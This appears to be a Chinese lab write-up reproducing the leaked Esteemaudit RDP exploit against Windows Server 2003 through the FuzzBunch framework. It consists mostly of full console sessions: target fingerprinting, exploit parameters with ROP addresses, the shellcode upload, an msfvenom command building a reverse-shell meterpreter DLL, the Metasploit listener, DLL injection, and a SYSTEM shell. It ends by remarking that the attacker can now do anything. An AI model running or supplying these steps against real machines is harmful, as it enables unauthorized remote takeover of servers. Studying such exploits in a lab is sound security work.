Esteemaudit 复现

实验环境：
Windows7-32 位（192.168.43.200，FuzzBunch 平台）
Windows2003-SP2（192.168.43.132）

攻击过程：

```
C:\Users\Administrator\Desktop\FUZZBUNCH-master>python fb.py

--[ Version 3.5.1

[*] Loading Plugins
[*] Initializing Fuzzbunch v3.5.1
[*] Adding Global Variables
[+] Set ResourcesDir => D:\DSZOPSDISK\Resources
[+] Set Color => True
[+] Set ShowHiddenParameters => False
[+] Set NetworkTimeout => 60
[+] Set LogDir => D:\logs
[*] Autorun ON

ImplantConfig Autorun List
==========================

  0) prompt confirm
  1) execute


Exploit Autorun List
====================

  0) apply
  1) touch all
  2) prompt confirm
  3) execute


Special Autorun List
====================

  0) apply
  1) touch all
  2) prompt confirm
  3) execute


Payload Autorun List
====================

  0) apply
  1) prompt confirm
  2) execute


[+] Set FbStorage => C:\Users\Administrator\Desktop\FUZZBUNCH-master\storage

[*] Retargetting Session
```

```
[?] Default Target IP Address [] : 192.168.43.132
[?] Default Callback IP Address [] : 192.168.43.200
[?] Use Redirection [yes] : no

[?] Base Log directory [D:\logs] : C:\log
[*] Checking C:\log for projects
Index     Project
-----     -------
0         eclipsedwing
1         erracticgopher
2         esteemaudit
3         eternalblue_test
4         eternalchampion
5         eternalromance
6         test_jdk
7         xpsp3
8         Create a New Project

[?] Project [0] : 2
[?] Set target log directory to 'C:\log\esteemaudit\≥192.168.43.132'? [Yes] :

[*] Initializing Global State
[+] Set TargetIp => 192.168.43.132
[+] Set CallbackIp => 192.168.43.200

[!] Redirection OFF
[+] Set LogDir => C:\log\esteemaudit\≥192.168.43.132
[+] Set Project => esteemaudit

fb > use Estee
Esteemaudit      Esteemauditttouch
fb > use Esteemaudit
<fuzzbunch.pluginmanager.PluginManager instance at 0x03031FD0>
list - >  <generator object get_manager_list at 0x040E7198>
argv[0] - >  Esteemaudit
<fuzzbunch.pluginmanager.PluginManager instance at 0x03D05850>
list - >  <generator object get_manager_list at 0x040E71E8>
argv[0] - >  Esteemaudit
<fuzzbunch.pluginmanager.PluginManager instance at 0x028C7C38>
list - >  <generator object get_manager_list at 0x040E7238>
argv[0] - >  Esteemaudit

[!] Entering Plugin Context :: Esteemaudit
[*] Applying Global Variables
[+] Set TargetIp => 192.168.43.132
[+] Set NetworkTimeout => 60
[+] Set CallbackIp => 192.168.43.200

[*] Applying Session Parameters
[*] Running Exploit Touches
<fuzzbunch.pluginmanager.PluginManager instance at 0x03031FD0>
```

```
<fuzzbunch.pluginmanager.PluginManager instance at 0x03031FD0>
list - >  <generator object get_manager_list at 0x028C7B20>
argv[0] - >  Esteemaudittouch

[!] Entering Plugin Context :: Esteemaudittouch
[*] Applying Global Variables
[+] Set TargetIp => 192.168.43.132
[+] Set NetworkTimeout => 60

[*] Inheriting Input Variables
[+] Set TargetIp => 192.168.43.132
[+] Set PacketTimeout => 10
[+] Set TargetPort => 3389
[+] Set NetworkTimeout => 60

[!] Enter Prompt Mode :: Esteemaudittouch

[*]  TargetIp :: Target IP Address

[?] TargetIp [192.168.43.132] :

[*]  TargetPort :: Port used by the RDP service

[?] TargetPort [3389] :

[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds).  Use -1
for no timeout.

[?] NetworkTimeout [60] :

[*]  PacketTimeout :: Timeout for each RDP packet.

[?] PacketTimeout [10] :

[*]  MaxProcessCount :: The maximum number of RDP process loops to allow

[?] MaxProcessCount [300] :


[!] Preparing to Execute Esteemaudittouch
[*] Redirection OFF

[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [192.168.43.132] :
[?] Destination Port [3389] :
[+] (TCP) Local 192.168.43.132:3389

[+] Configure Plugin Remote Tunnels


Module: Esteemaudittouch
```

```
Module: Esteemaudittouch
========================

Name                        Value

----                        -----

TargetIp                    192.168.43.132

TargetPort                  3389

NetworkTimeout              60

PacketTimeout               10

MaxProcessCount             300

SendSpacebar                False

ProcessCountToSendSpaceOn   3

MaxRDPLibErrorCount         3


[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[*] Running touch
[*] Initializing parameters
        [+] Parameter initialization complete
[+] TargetIP:       192.168.43.132
[+] TargetPort:     3389
[+] NetworkTimeout: 60
[+] PacketTimeout:  10
[*] Initializing network
[*] Initializing RDP
        [+] RDP initialization complete
        [+] Network initialization complete
[*] Running the touch
[*] Connecting to RDP
        [+] RDP connection complete
[*] Connected over RDP to 192.168.43.132:3389
        [+] Sending Space Bar
[*] Computed RdpLibHertz = 70
[+] Touch run complete
[*] Target: W2K3SP1!2.
[*] Architecture: x86.
[*] Encryption: 128-bit.
[*] Smart card authentication IS supported.
[*] Writing output parameters
        [+] Output parameter writing complete
[+] Touch run complete
[*] Cleaning up the network
```

```
[*] Cleaning up the network
[*] Cleaning up RDP
[+] RDP clean up complete
[+] Network clean up complete
[-] retVal = 0
[+] Esteemaudittouch Succeeded

[*] Exporting Contract To Exploit
[+] Set RdpLibHertz => 70
[+] Set Architecture => x86
[+] Set Target => W2K3SP1!2
[!] ESAU requires vulnerable target


[!] Enter Prompt Mode :: Esteemaudit

Module: Esteemaudit
===================

Name                  Value
----                  -----
TargetIp              192.168.43.132
TargetPort            3389
NetworkTimeout        60
PacketTimeout         10
MaxProcessCount       300
RdpLibHertz           70
CallbackIp            192.168.43.200
CallbackPort          0
CallbackLocalPort
MigrateProcessDLL     D:\DSZOPSDISK\storage\rudo_x86.dll
CallbackPayloadDLL    D:\DSZOPSDISK\storage\capa_x86.dll
ListenPayloadDLL      D:\DSZOPSDISK\storage\lipa_x86.dll
Payload               Callback
Architecture          x86
Target                W2K3SP1!2

[!] Plugin Variables are NOT Valid
[?] Prompt For Variable Settings? [Yes] :

[*]  TargetIp :: Target IP Address

[?] TargetIp [192.168.43.132] :

[*]  TargetPort :: Port used by the RDP service

[?] TargetPort [3389] :

[*]  NetworkTimeout :: Timeout for connect() calls including egg callback

[?] NetworkTimeout [60] :
```

```
[?] NetworkTimeout [60] :

[*]  PacketTimeout :: Timeout for each RDP packet.

[?] PacketTimeout [10] :

[*]  MaxProcessCount :: The maximum number of RDP process loops to allow

[?] MaxProcessCount [300] :

[*]  RdpLibHertz :: Extrapolated RdpLib processing cycles per second.

[?] RdpLibHertz [70] :

[*]  Payload :: How the egg will behave

   *0) Callback     The egg will callback to the specified IP and Port
    1) Listener     The egg will open up a new listening port.

[?] Payload [0] :

[*]  Architecture :: Architecture of the target

   *0) x86            Target is running on an x86 processor
    1) x86 64-bit     Target is running on an x86 64-bit processor

[?] Architecture [0] :

[*]  Target :: OS and Service pack of the target

    0) XPSP0         Windows XP SP0
    1) XPSP1         Windows XP SP1
    2) XPSP0|1       Windows XP SP0 or SP1
    3) XPSP2         Windows XP SP2
    4) XPSP3         Windows XP SP3
    5) XPSP2|3       Windows XP SP2 or SP3
    6) W2K3SP0       Windows 2003 SP0
    7) W2K3SP1       Windows 2003 SP1
    8) W2K3SP2       Windows 2003 SP2
   *9) W2K3SP1|2     Windows 2003 SP1 or SP2

[?] Target [9] :

[*]  CallbackIp :: Callback IP address the egg will connect to from target

[?] CallbackIp [192.168.43.200] : 8888
[-] Error: Invalid value for 'CallbackIp' (8888)

[*]  CallbackIp :: Callback IP address the egg will connect to from target

[?] CallbackIp [192.168.43.200] : 8889
[-] Error: Invalid value for 'CallbackIp' (8889)
```

```
[?] CallbackIp [192.168.43.200] : 8889
[-] Error: Invalid value for 'CallbackIp' (8889)

[*]  CallbackIp :: Callback IP address the egg will connect to from target

[?] CallbackIp [192.168.43.200] :

[*]  CallbackPort :: Callback port that the egg will connect to from target

[?] CallbackPort [0] : 8888
[+] Set CallbackPort => 8888

[*]  CallbackLocalPort :: Callback port that we will listen on to receive the eg
gs connection

[?] CallbackLocalPort [] : 8889
[+] Set CallbackLocalPort => 8889

[*]  MigrateProcessDLL ::  The DLL that will be used to inject into a remote pro
cess

[?] MigrateProcessDLL [D:\DSZOPSDISK\storage\rudo_x86.dll] : C:\Users\Administra
tor\Desktop\FUZZBUNCH-master\storage\rudo_x86.dll
[+] Set MigrateProcessDLL => C:\Users\Administrator\Desktop\FUZZBUNCH-master\st.
.. (plus 18 characters)

[*]  CallbackPayloadDLL :: The DLL that will be used as a callback payload

[?] CallbackPayloadDLL [D:\DSZOPSDISK\storage\capa_x86.dll] : C:\Users\Administr
ator\Desktop\FUZZBUNCH-master\storage\capa_x86.dll
[+] Set CallbackPayloadDLL => C:\Users\Administrator\Desktop\FUZZBUNCH-master\st
... (plus 18 characters)

[*]  ListenPayloadDLL :: The DLL that will be used as a listen payload

[?] ListenPayloadDLL [D:\DSZOPSDISK\storage\lipa_x86.dll] : C:\Users\Administrat
or\Desktop\FUZZBUNCH-master\storage\lipa_x86.dll
[+] Set ListenPayloadDLL => C:\Users\Administrator\Desktop\FUZZBUNCH-master\st..
. (plus 18 characters)


[!] Preparing to Execute Esteemaudit
[*] Redirection OFF

[+] Configure Plugin Local Tunnels
[+] Local Tunnel - Launch Tunnel
[?] Destination IP [192.168.43.132] :
[?] Destination Port [3389] :
[+] (TCP) Local 192.168.43.132:3389

[+] Configure Plugin Remote Tunnels
[+] Remote Tunnel - Callback Tunnel
```

```
[+] Remote Tunnel - Callback Tunnel
[?] Listen IP [192.168.43.200] :
[?] Listen Port [8888] :
[+] (TCP) Remote 192.168.43.200:8888


Module: Esteemaudit
===================

Name                                        Value

----                                        -----

TargetIp                                    192.168.43.132

TargetPort                                  3389

NetworkTimeout                              60

PacketTimeout                               10

MaxProcessCount                             300

RdpLibHertz                                 70

SendSpacebar                                True

ProcessCountToSendSpaceOn                   3

MaxRDPLibErrorCount                         3

CallbackIp                                  192.168.43.200

CallbackPort                                8888

CallbackLocalPort                           8888

MigrateProcessDLL                           C:\Users\Administrator\Desktop
\FUZZBUNCH-master\st
                                            orage\rudo_x86.dll

CallbackPayloadDLL                          C:\Users\Administrator\Desktop
\FUZZBUNCH-master\st
                                            orage\capa_x86.dll

ListenPayloadDLL                            C:\Users\Administrator\Desktop
\FUZZBUNCH-master\st
                                            orage\lipa_x86.dll

GlobalBufAddr                               134320344

ret0c                                       134241925
```

```
ListenPayloadDLL                                C:\Users\Administrator\Desktop
\FUZZBUNCH-master\st
                                                orage\lipa_x86.dll

GlobalBufAddr                                   134320344

ret0c                                           134241925

ret10                                           134266589

ret04                                           134291066

ret08                                           134287758

ret20                                           0

ret28                                           134291439

ret40                                           16384

ret44                                           134293708

sysenterIndex                                   143

jmpEbx                                          134303860

sizeOffest                                      64

secondStageAddress                              134320856

provContAddress                                 135753176

scardTransmitAddress                            134222236

scardT0PciAddress                               134222284

KiServiceTable_NtAllocateVirtualMemory_Index    18

KiServiceTable_NtAllocateVirtualMemory_ArgSize  24

KiServiceTable_NtFreeVirtualMemory_Index        87

KiServiceTable_NtFreeVirtualMemory_ArgSize      16

Payload                                         Callback

Architecture                                    x86

Target                                          W2K3SP1!2


[?] Execute Plugin? [Yes] : _
```

```
[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[*] Creating callback socket
        [+] Listening on 0.0.0.0:8888
        [+] Callback socket creation complete
        [+] Connected to target 192.168.43.132:3389
        [+] Sending Space Bar
[*] Building exploit buffer.
        [+] Set Auth Code to: 0x1D241361
        [+] Set XOR Mask to: 0x03141C4C
        [+] Successfully opened MigrateProcessDLL
        [+] Successfully opened CallbackPayloadDLL
        [+] Exploit buffer created.
        [+] Sending Enter key
        [+] SELECT_FILE - GPK Card MF
        [+] GET_RESPONSE - data unit size
        [+] GET_RESPONSE - serial number
        [+] SELECT_FILE - GPK Card MF
        [+] SELECT_FILE - Don't care which
        [+] GET_RESPONSE - from SELECT_FILE
        [+] READ_BINARY - unknown offset
        [+] SELECT_FILE - Don't care which
        [+] GET_RESPONSE - from SELECT_FILE
        [+] READ_BINARY - start of file
        [+] Shellcode sent
        [+] SELECT_FILE - GPK Card MF
[*] First stage complete
        [+] Uploading Second Stage 0/25330 (0.00%)
        [+] Uploading Second Stage 384/25330 (1.52%)
        [+] Uploading Second Stage 768/25330 (3.03%)
        [+] Uploading Second Stage 1152/25330 (4.55%)
        [+] Uploading Second Stage 1536/25330 (6.06%)
        [+] Uploading Second Stage 1920/25330 (7.58%)
        [+] Uploading Second Stage 2304/25330 (9.10%)
        [+] Uploading Second Stage 2688/25330 (10.61%)
        [+] Uploading Second Stage 3072/25330 (12.13%)
        [+] Uploading Second Stage 3456/25330 (13.64%)
        [+] Uploading Second Stage 3840/25330 (15.16%)
        [+] Uploading Second Stage 4224/25330 (16.68%)
        [+] Uploading Second Stage 4608/25330 (18.19%)
        [+] Uploading Second Stage 4992/25330 (19.71%)
        [+] Uploading Second Stage 5376/25330 (21.22%)
        [+] Uploading Second Stage 5760/25330 (22.74%)
        [+] Uploading Second Stage 6144/25330 (24.26%)
        [+] Uploading Second Stage 6528/25330 (25.77%)
        [+] Uploading Second Stage 6912/25330 (27.29%)
        [+] Uploading Second Stage 7296/25330 (28.80%)
        [+] Uploading Second Stage 7680/25330 (30.32%)
        [+] Uploading Second Stage 8064/25330 (31.84%)
        [+] Uploading Second Stage 8448/25330 (33.35%)
        [+] Uploading Second Stage 8832/25330 (34.87%)
        [+] Uploading Second Stage 9216/25330 (36.38%)
```

```
        [+] Uploading Second Stage 10368/25330 (40.93%)
        [+] Uploading Second Stage 10752/25330 (42.45%)
        [+] Uploading Second Stage 11136/25330 (43.96%)
        [+] Uploading Second Stage 11520/25330 (45.48%)
        [+] Uploading Second Stage 11904/25330 (47.00%)
        [+] Uploading Second Stage 12288/25330 (48.51%)
        [+] Uploading Second Stage 12672/25330 (50.03%)
        [+] Uploading Second Stage 13056/25330 (51.54%)
        [+] Uploading Second Stage 13440/25330 (53.06%)
        [+] Uploading Second Stage 13824/25330 (54.58%)
        [+] Uploading Second Stage 14208/25330 (56.09%)
        [+] Uploading Second Stage 14592/25330 (57.61%)
        [+] Uploading Second Stage 14976/25330 (59.12%)
        [+] Uploading Second Stage 15360/25330 (60.64%)
        [+] Uploading Second Stage 15744/25330 (62.16%)
        [+] Uploading Second Stage 16128/25330 (63.67%)
        [+] Uploading Second Stage 16512/25330 (65.19%)
        [+] Uploading Second Stage 16896/25330 (66.70%)
        [+] Uploading Second Stage 17280/25330 (68.22%)
        [+] Uploading Second Stage 17664/25330 (69.74%)
        [+] Uploading Second Stage 18048/25330 (71.25%)
        [+] Uploading Second Stage 18432/25330 (72.77%)
        [+] Uploading Second Stage 18816/25330 (74.28%)
        [+] Uploading Second Stage 19200/25330 (75.80%)
        [+] Uploading Second Stage 19584/25330 (77.32%)
        [+] Uploading Second Stage 19968/25330 (78.83%)
        [+] Uploading Second Stage 20352/25330 (80.35%)
        [+] Uploading Second Stage 20736/25330 (81.86%)
        [+] Uploading Second Stage 21120/25330 (83.38%)
        [+] Uploading Second Stage 21504/25330 (84.90%)
        [+] Uploading Second Stage 21888/25330 (86.41%)
        [+] Uploading Second Stage 22272/25330 (87.93%)
        [+] Uploading Second Stage 22656/25330 (89.44%)
        [+] Uploading Second Stage 23040/25330 (90.96%)
        [+] Uploading Second Stage 23424/25330 (92.48%)
        [+] Uploading Second Stage 23808/25330 (93.99%)
        [+] Uploading Second Stage 24192/25330 (95.51%)
        [+] Uploading Second Stage 24576/25330 (97.02%)
        [+] Uploading Second Stage 24960/25330 (98.54%)
[*] Waiting for callback from second stage payload.
        [+] Connection received on listening socket
        [+] Connection accepted
        [+] Communicating with 192.168.43.132:1099
        [+] Authcode match : Received 0x1d241361
        [+] Callback successful!
[*] Exploit successful! :-)
[+] Esteemaudit Succeeded

[!] Connection to Target Established
[!] Waiting For Next Stage

fb Exploit (Esteemaudit) > _
```

然后，使用 Metasploit 生成反弹 shell 的 dll 用来注入：

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.60 LPO
RT=8899 -f dll >Esteemaudit.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the p
ayload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of dll file: 5120 bytes
```

配置一个 Metasploit 监听状态的终端 2，等待反弹的 shell 链接：

```
msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.43.60
LHOST => 192.168.43.60
msf exploit(multi/handler) > set LPORT 8899
LPORT => 8899
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.43.60:8899
```

使用 Pcdlllauncher 工具上传反弹上 shell 的 dll，其中修改两处的文件位置即可，前一个是工具包里面有的，后一个是自己生成的 dll：

```
fb Payload (Pcdlllauncher) > use Pcdlllauncher
<fuzzbunch.pluginmanager.PluginManager instance at 0x03031FD0>
list - >  <generator object get_manager_list at 0x04423530>
argv[0] - >  Pcdlllauncher
<fuzzbunch.pluginmanager.PluginManager instance at 0x03D05850>
list - >  <generator object get_manager_list at 0x040DEE90>
argv[0] - >  Pcdlllauncher
<fuzzbunch.pluginmanager.PluginManager instance at 0x028C7C38>
list - >  <generator object get_manager_list at 0x035659E0>
argv[0] - >  Pcdlllauncher
<fuzzbunch.pluginmanager.PluginManager instance at 0x03AF7F58>
list - >  <generator object get_manager_list at 0x04693738>
argv[0] - >  Pcdlllauncher

[!] Entering Plugin Context :: Pcdlllauncher
[*] Applying Global Variables
[+] Set NetworkTimeout => 60

[*] Applying Session Parameters

[!] Enter Prompt Mode :: Pcdlllauncher

Module: Pcdlllauncher
=====================

Name                    Value
----                    -----
ConnectedTcp            368
XorMask                 76
NetworkTimeout          60
LPFilename              C:\Esteemaudit.dll
LPEntryName             ServiceEntry
ImplantFilename         C:\Esteemaudit.dll
TargetOsArchitecture    x86
PCBehavior              8
Rendezvous              49293

[!] plugin variables are valid
[?] Prompt For Variable Settings? [Yes] :

[*]  ConnectedTcp :: Connected TCP Socket

[?] ConnectedTcp [368] :

[*]  XorMask :: XOR Mask for communication

[?] XorMask [76] :

[*]  NetworkTimeout :: Network timeout (in seconds).  Use -1 for no timeout.

[?] NetworkTimeout [60] :
```

```
[?] NetworkTimeout [60] :

[*]  LPFilename :: Full path to LP

[?] LPFilename [C:\Esteemaudit.dll] : C:\Users\Administrator\Desktop\FUZZBUNCH-m
aster\Resources\LegacyWindowsExploits\Resources\Pc\i386-winnt\PC_Exploit.dll
[+] Set LPFilename => C:\Users\Administrator\Desktop\FUZZBUNCH-master\Re... (plu
s 68 characters)

[*]  LPEntryName :: LP Entry Function Name

[?] LPEntryName [ServiceEntry] :

[*]  ImplantFilename :: Full path to implant payload

[?] ImplantFilename [C:\Esteemaudit.dll] :

[*]  Rendezvous :: Rendezvous location

[?] Rendezvous [49293] :

[*]  TargetOsArchitecture :: Machine architecture of target.

   *0) x86     32-bit Intel x86 processor.
    1) x64     64-bit AMD x86_64 processor.

[?] TargetOsArchitecture [0] :

[*]  PCBehavior :: PEDDLECHEAP EGG Behavior

    0) 7     Re-use Socket (PC EGG behavior is NOT DONE)
   *1) 8     Re-use Socket and PC EGG behavior

[?] PCBehavior [1] :


[!] Preparing to Execute Pcdlllauncher

Module: Pcdlllauncher
=====================

Name                    Value
----                    -----
ConnectedTcp            368
XorMask                 76
NetworkTimeout          60
LPFilename              C:\Users\Administrator\Desktop\FUZZBUNCH-master\Re
                        sources\LegacyWindowsExploits\Resources\Pc\i386-wi
                        nnt\PC_Exploit.dll
LPEntryName             ServiceEntry
ImplantFilename         C:\Esteemaudit.dll
TargetOsArchitecture    x86
```

```
Module: Pcdlllauncher
=====================

Name                    Value
----                    -----
ConnectedTcp            368
XorMask                 76
NetworkTimeout          60
LPFilename              C:\Users\Administrator\Desktop\FUZZBUNCH-master\Re
                        sources\LegacyWindowsExploits\Resources\Pc\i386-wi
                        nnt\PC_Exploit.dll
LPEntryName             ServiceEntry
ImplantFilename         C:\Esteemaudit.dll
TargetOsArchitecture    x86
PCBehavior              8
Rendezvous              49293

[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[-] Timeout error
[-] Error running plugin:
[-] Error: Pcdlllauncher Failed
fb Payload (Pcdlllauncher) > _
```

虽然这里结果显示的是失败，但是这里实际上已经成功的返回了 shell：

```
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.43.60:8899
[*] Sending stage (179779 bytes) to 192.168.43.200
[*] Sending stage (179779 bytes) to 192.168.43.132
[-] Failed to load client script file: /usr/share/metasploit-framework/lib/rex/p
ost/meterpreter/ui/console/command_dispatcher/stdapi.rb

meterpreter > shell
Process 3956 created.
Channel 1 created.
Microsoft Windows [汾 5.2.3790]
(C) ??? 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig
```

```
C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter ????????:

   Connection-specific DNS Suffix  . :
   IP Address. . . . . . . . . . . . : 192.168.43.132
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.43.1

C:\WINDOWS\system32>whoami
whoami
nt authority\system
```

拿到这个 meterpreter 就可以干你想干的任何事情了。